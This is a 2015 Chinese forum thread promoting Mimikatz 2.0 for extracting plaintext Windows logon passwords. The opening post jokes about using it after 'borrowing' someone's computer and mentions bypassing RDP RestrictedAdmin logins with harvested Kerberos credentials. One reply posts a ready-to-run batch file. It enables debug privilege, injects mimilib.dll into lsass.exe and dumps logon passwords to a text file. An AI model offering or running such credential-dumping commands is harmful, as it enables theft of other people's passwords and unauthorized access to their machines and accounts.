利用Mimikatz 2.0 提取计算机开机密码

不再相信 · 发表于 2015-1-19 14:13:14

马上注册，结交更多好友，享用更多功能，让你轻松玩转社区。

您需要登录才可以下载或查看，没有账号？创建账号

×

本帖最后由不再相信于 2015-1-19 17:14 编辑

只要借用一下电脑，便可轻松拿到密码……“女神，借用电脑一看可否？”

大神们都知道的东西吧，渗透测试常用工具。一个法国牛人写的轻量级调试器，可以帮助安全测试人员抓取Windows密码。

mimikatz 最近发布了它的2.0版本，抓密码命令更加简单了，估计作者也看到了对它这个神器最多的研究就是直接抓密码，

为神马不发布一个直接一键版，哈哈哈哈哈。

新功能还包括能够通过获取的kerberos登录凭据，绕过支持RestrictedAdmin模式的win8或win2012svr的远程终端(RDP)

的登陆认证。建议默认禁止RestrictedAdmin模式登录。更多功能等着大家来发现

神器的博客http://blog.gentilkiwi.com/mimikatz

直达下载地址https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20140614

这个是电脑密码的截图，覆盖部分就是电脑密码，电脑win7 64位的。所以用x64神器

2.0版本的只需要两条命令就可以了，比以前版本的更简单了。

命令

游客，如果您要查看本帖隐藏内容请回复

我发现下载链接不能用了，我这边有一个，有需要的的朋友可以留下邮箱，我会发给你们的。

sndonge · 发表于 2015-1-19 15:46:28

哇，神器啊。好像有个PE下破密的工具

Technology_Ice · 发表于 2015-1-19 15:54:14

好厉害的样子

不再相信 · 发表于 2015-1-19 15:55:56

sndonge 发表于 2015-1-19 15:46
哇，神器啊。好像有个PE下破密的工具

这是桌面状态下的，或者服务器上使用的哟。。不是什么PE上的，PE的是不能够读取到密码的。。这个是明文密码

广岛秋泽 · 发表于 2015-1-19 17:10:43

谢谢分享~

fenger · 发表于 2015-1-19 21:11:45

果然是神器

secessionn · 发表于 2015-1-19 22:33:29

本帖最后由 secessionn 于 2015-1-21 23:02 编辑

Useful tool! 在这里可以下载的啦：https://github.com/gentilkiwi/mimikatz/releases（见图），作者在此PDF文档里什么都说明了，关于这个东东:https://2014.rmll.info/slides/80 ... ecurity_service.pdf。另外再附上一个视频使用教程：(见附件）以及一个bat（<---省得自己输入命令了--->):
@echo off

cd %~dp0
mimikatz.exe "privilege::debug" "inject::process lsass.exe mimilib.dll" "sekurlsa::logonpasswords" >>密码.txt
pause

van · 发表于 2015-1-20 00:35:52

win8.1机子上可以读取哇？

lovezljwzc · 发表于 2015-1-20 07:39:13

要不要这么流弊

不再相信 · 发表于 2015-1-20 09:08:19

van 发表于 2015-1-20 00:35
win8.1机子上可以读取哇？

可以自测哟亲，我没有装Win 8呢

不再相信 · 发表于 2015-1-20 09:08:50

fenger 发表于 2015-1-19 21:13

已经发送给你了，你自己注意查收。

weiyuan333 · 发表于 2015-1-20 09:12:33

张姿势了。。。。

不再相信 · 发表于 2015-1-20 15:58:47

我该怎么办呢

stevenwzl · 发表于 2015-1-21 11:19:50

大半年前就有了.. 不过确实是1神器...

van · 发表于 2015-1-23 00:01:23

不再相信发表于 2015-1-20 09:08
可以自测哟亲，我没有装Win 8呢

明早做测试，测试完了反馈~:)

[其他发布] 利用Mimikatz 2.0 提取计算机开机密码

马上注册，结交更多好友，享用更多功能，让你轻松玩转社区。

评分

本帖子中包含更多资源